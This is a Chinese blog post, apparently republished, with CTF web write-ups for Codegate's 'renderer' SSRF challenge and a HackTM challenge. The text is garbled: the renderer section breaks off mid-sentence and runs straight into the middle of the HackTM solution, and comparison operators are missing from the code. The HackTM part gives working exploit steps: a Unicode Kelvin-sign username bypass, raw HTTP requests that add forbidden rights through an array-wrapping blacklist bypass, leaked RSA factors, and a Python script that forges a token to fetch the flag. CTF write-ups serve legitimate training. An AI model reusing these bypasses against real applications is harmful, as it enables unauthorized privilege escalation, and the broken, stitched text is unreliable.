Codegate CTF和HackTM CTF的两个web题解

访客 324 0
本文来源:Codegate CTF和HackTM CTF的两个web题解

原创L's合天智汇

前言

由于最近疫情比较严重,反正在家也无聊,就打了两个ctf,随便总结一下:

0x01 renderer

0x001 题目描述如下:

Description :
It is my first flask project with nginx. Write your own message, and get flag!

http://110.10.147.169/renderer/
http://58.229.253.144/renderer/

DOWNLOAD :
http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e9

0x002 首页如下:

Codegate CTF和HackTM CTF的两个web题解-第1张图片-网盾网络安全培训

首页只有一个url的提交框感觉应该是考SSRF。

我们随便访问一下:用http://110.10.147.169/renderer/whatismyip:

Codegate CTF和HackTM CTF的两个web题解-第2张图片-网盾网络安全培训

它返回了whatismyip页面的数据。

但是当我用https://www.baidu.com访问时服务器出现500错误,因此判断是要利用ssrf读取敏感文件这类似的操作。

SSRF攻击与防御:

= 3 }

综上所述,我们需要:

我们可以通过unicode的K来绕过ascii的K,例如:

console.log('K'.toUpperCase()==='k'.toUpperCase());
console.log('K'.toLowerCase()==='k'.toLowerCase());

结果如下:

false
true

生成的脚本如下:

const admin="hacktm";
const tmp1=admin.toUpperCase().split('');
const tmp2=admin.toLowerCase().split('');

for (let i=0;i100000;i++){
    const char=String.fromCharCode(i);
    if(tmp1.includes(char.toUpperCase())||tmp2.includes(char.toLowerCase())){
        console.log(i,char,char.toUpperCase(),char.toLowerCase());
    }
}

结果如下:

65 'A' 'A' 'a'
67 'C' 'C' 'c'
72 'H' 'H' 'h'
75 'K' 'K' 'k'
77 'M' 'M' 'm'
84 'T' 'T' 't'
97 'a' 'A' 'a'
99 'c' 'C' 'c'
104 'h' 'H' 'h'
107 'k' 'K' 'k'
109 'm' 'M' 'm'
116 't' 'T' 't'
8490 'K' 'K' 'k'
65601 'A' 'A' 'a'
65603 'C' 'C' 'c'
65608 'H' 'H' 'h'
65611 'K' 'K' 'k'
65613 'M' 'M' 'm'
65620 'T' 'T' 't'
65633 'a' 'A' 'a'
65635 'c' 'C' 'c'
65640 'h' 'H' 'h'
65643 'k' 'K' 'k'
65645 'm' 'M' 'm'
65652 't' 'T' 't'
74026 'K' 'K' 'k'

通过上面的操作可以得出hacKtm,满足条件,K不是ascii的K:

请求/login如下:

POST /login HTTP/1.1
Host: 167.172.165.153:60001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Authorization: Bearer undefined
Content-Length: 23
Origin: http://167.172.165.153:60000
Connection: close
Referer: http://167.172.165.153:60000/

{"username":"hacKtm"}

我们获得了签名的JWT:

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 199
ETag: W/"c7-FOLFBWmzAHyWeAJOurHR3CgFQ7w"
Date: Fri, 07 Feb 2020 11:57:47 GMT
Connection: close

{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs"}}

一切都准备就绪,使用上面的token更新用户权限如下:

POST /updateUser HTTP/1.1
Host: 167.172.165.153:60001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs
Content-Length: 22
Origin: http://167.172.165.153:60000
Connection: close
Referer: http://167.172.165.153:60000/

{"rights": ["n", "p"]}

将会返回如下内容:

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 205
ETag: W/"cd-ZjJARGQw8OB8MX5BzYLl/dWOAKM"
Date: Fri, 07 Feb 2020 12:09:55 GMT
Connection: close

{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor"]}}}

我们可以看到n和p没有被添加到用户权限列表中,通过查看源码,这是因为checkRights(arr)函数的检查。

0x003 绕过checkRights(arr):

在checkRights(arr)中:

function checkRights(arr) {
  let blacklist = ["p", "n", "port"];
  for (let i = 0; i  arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

在checkRights(arr)中定义了黑名单["p", "n", "port"],只要包含里面的任意一个字符都不会添加用户权限。

根据js的某些特性我们可以用下面的两个特性来解决:

  • javascript使用toString()去访问对象的属性。
  • 具有一个元素的数组使用toString方法是和这个元素单独使用toString是一样的,例如:
console.log(["l"].toString()==="l".toString());

// output: true

使用[["p"],["n"]]payload发送到/updateUser会返回如下内容:

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 217
ETag: W/"d9-uCy43hPNMI1ebwEnfBO1u7Arbg8"
Date: Fri, 07 Feb 2020 12:24:10 GMT
Connection: close

{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"],["p"]]}}}

我们可以看到我们成功的添加了["n"],["p"]的权限。

接下来访问/serverInfo获取n,p的值:

{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":12},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"},{"name":["p"],"value":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617"}]}}

0x004 获取flag:

计算q使用n/p我们获得:

q = 283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987

payload.py

import requests

url = "http://167.172.165.153:60001"
json={
    "p":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617",
    "q":"283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987"
}
response=requests.post(url+"/init",json=json)
print(response.text)
token=response.json()['data']['token']
print(token)
headers={
    "Authorization": "Bearer %s" % token
}
response=requests.get(url+"/flag",headers=headers)
print(response.json())

0x005 结果如下:

{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0"}}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0
{'status': 'ok', 'data': {'flag': 'HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}'}}

复制链接做实验:JavaScript基础:

实验:Javascript基础(合天网安实验室)

Codegate CTF和HackTM CTF的两个web题解-第3张图片-网盾网络安全培训

0x03总结:

在做题的过程中还去学习了一下ssti注入,和flask框架,还有一些js特性,感觉这次收获还是满满的。

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!


标签: 合天智汇

发表评论 (已有0条评论)

还木有评论哦,快来抢沙发吧~